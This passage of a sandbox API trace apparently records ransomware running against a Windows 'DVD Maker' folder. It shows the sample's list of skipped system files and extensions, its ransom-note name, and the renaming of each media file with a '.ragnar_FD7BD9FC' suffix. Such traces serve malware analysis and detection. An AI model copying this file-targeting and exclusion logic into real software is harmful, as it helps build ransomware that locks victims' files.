maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.105] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="TitleButtonIcon.png", cAlternateFileName="")) returned 1 [0079.105] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0079.105] lstrcpyW (in: lpString1=0x1eab60, lpString2="TitleButtonIcon.png" | out: lpString1="TitleButtonIcon.png") returned="TitleButtonIcon.png" [0079.105] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png") returned=".png" [0079.105] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0079.105] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="autorun.inf") returned 1 [0079.105] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="boot.ini") returned 1 [0079.105] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="bootfont.bin") returned 1 [0079.105] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="bootsect.bak") returned 1 [0079.106] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="bootmgr") returned 1 [0079.106] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="bootmgr.efi") returned 1 [0079.106] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="bootmgfw.efi") returned 1 [0079.106] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="desktop.ini") returned 1 [0079.106] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="iconcache.db") returned 1 [0079.106] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="ntldr") returned 1 [0079.106] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="ntuser.dat") returned 1 [0079.106] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="ntuser.dat.log") returned 1 [0079.106] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="ntuser.ini") returned 1 [0079.106] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="thumbs.db") returned 1 [0079.106] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.106] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.106] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.106] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.106] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.106] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.106] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png")) returned 0x20 [0079.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.107] CloseHandle (hObject=0xffffffff) returned 0 [0079.107] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" [0079.107] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png.ragnar_FD7BD9FC" [0079.107] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.107] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="TitleButtonSubpicture.png", cAlternateFileName="")) returned 1 [0079.107] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0079.107] lstrcpyW (in: lpString1=0x1eab60, lpString2="TitleButtonSubpicture.png" | out: lpString1="TitleButtonSubpicture.png") returned="TitleButtonSubpicture.png" [0079.107] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png") returned=".png" [0079.107] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0079.107] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="autorun.inf") returned 1 [0079.107] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="boot.ini") returned 1 [0079.107] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="bootfont.bin") returned 1 [0079.107] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="bootsect.bak") returned 1 [0079.107] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="bootmgr") returned 1 [0079.107] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="bootmgr.efi") returned 1 [0079.107] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="bootmgfw.efi") returned 1 [0079.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.110] CloseHandle (hObject=0xffffffff) returned 0 [0079.110] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" [0079.110] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png.ragnar_FD7BD9FC" [0079.110] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.110] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703e5e14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703e5e14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ded3ea1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a9204, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page.wmv", cAlternateFileName="")) returned 1 [0079.110] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0079.110] lstrcpyW (in: lpString1=0x1eab60, lpString2="Title_Page.wmv" | out: lpString1="Title_Page.wmv") returned="Title_Page.wmv" [0079.110] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned=".wmv" [0079.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.111] CloseHandle (hObject=0xffffffff) returned 0 [0079.111] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" [0079.111] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.ragnar_FD7BD9FC" [0079.111] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.111] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7047e388, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7047e388, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e050c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1d0304, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_PAL.wmv", cAlternateFileName="")) returned 1 [0079.111] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0079.111] lstrcpyW (in: lpString1=0x1eab60, lpString2="Title_Page_PAL.wmv" | out: lpString1="Title_Page_PAL.wmv") returned="Title_Page_PAL.wmv" [0079.111] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned=".wmv" [0079.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.112] CloseHandle (hObject=0xffffffff) returned 0 [0079.112] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" [0079.112] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.ragnar_FD7BD9FC" [0079.112] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.112] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70588d13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70588d13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1a789b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xad264, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_trans_notes.wmv", cAlternateFileName="")) returned 1 [0079.112] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0079.112] lstrcpyW (in: lpString1=0x1eab60, lpString2="title_trans_notes.wmv" | out: lpString1="title_trans_notes.wmv") returned="title_trans_notes.wmv" [0079.112] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv") returned=".wmv" [0079.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.114] CloseHandle (hObject=0xffffffff) returned 0 [0079.114] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" [0079.114] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv.ragnar_FD7BD9FC" [0079.114] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.114] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705fb12a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x705fb12a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1f3b57, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Trans_Notes_PAL.wmv", cAlternateFileName="")) returned 1 [0079.114] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0079.114] lstrcpyW (in: lpString1=0x1eab60, lpString2="Title_Trans_Notes_PAL.wmv" | out: lpString1="Title_Trans_Notes_PAL.wmv") returned="Title_Trans_Notes_PAL.wmv" [0079.114] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv") returned=".wmv" [0079.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.114] CloseHandle (hObject=0xffffffff) returned 0 [0079.114] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" [0079.114] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv.ragnar_FD7BD9FC" [0079.114] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.115] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7066d541, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7066d541, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e23fe13, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x999e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_trans_scene.wmv", cAlternateFileName="")) returned 1 [0079.115] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0079.115] lstrcpyW (in: lpString1=0x1eab60, lpString2="title_trans_scene.wmv" | out: lpString1="title_trans_scene.wmv") returned="title_trans_scene.wmv" [0079.115] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv") returned=".wmv" [0079.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.115] CloseHandle (hObject=0xffffffff) returned 0 [0079.115] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" [0079.115] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv.ragnar_FD7BD9FC" [0079.115] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.115] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70705ab5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70705ab5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa16e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Trans_Scene_PAL.wmv", cAlternateFileName="")) returned 1 [0079.115] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0079.115] lstrcpyW (in: lpString1=0x1eab60, lpString2="Title_Trans_Scene_PAL.wmv" | out: lpString1="Title_Trans_Scene_PAL.wmv") returned="Title_Trans_Scene_PAL.wmv" [0079.115] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv") returned=".wmv" [0079.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.116] CloseHandle (hObject=0xffffffff) returned 0 [0079.116] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" [0079.116] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD 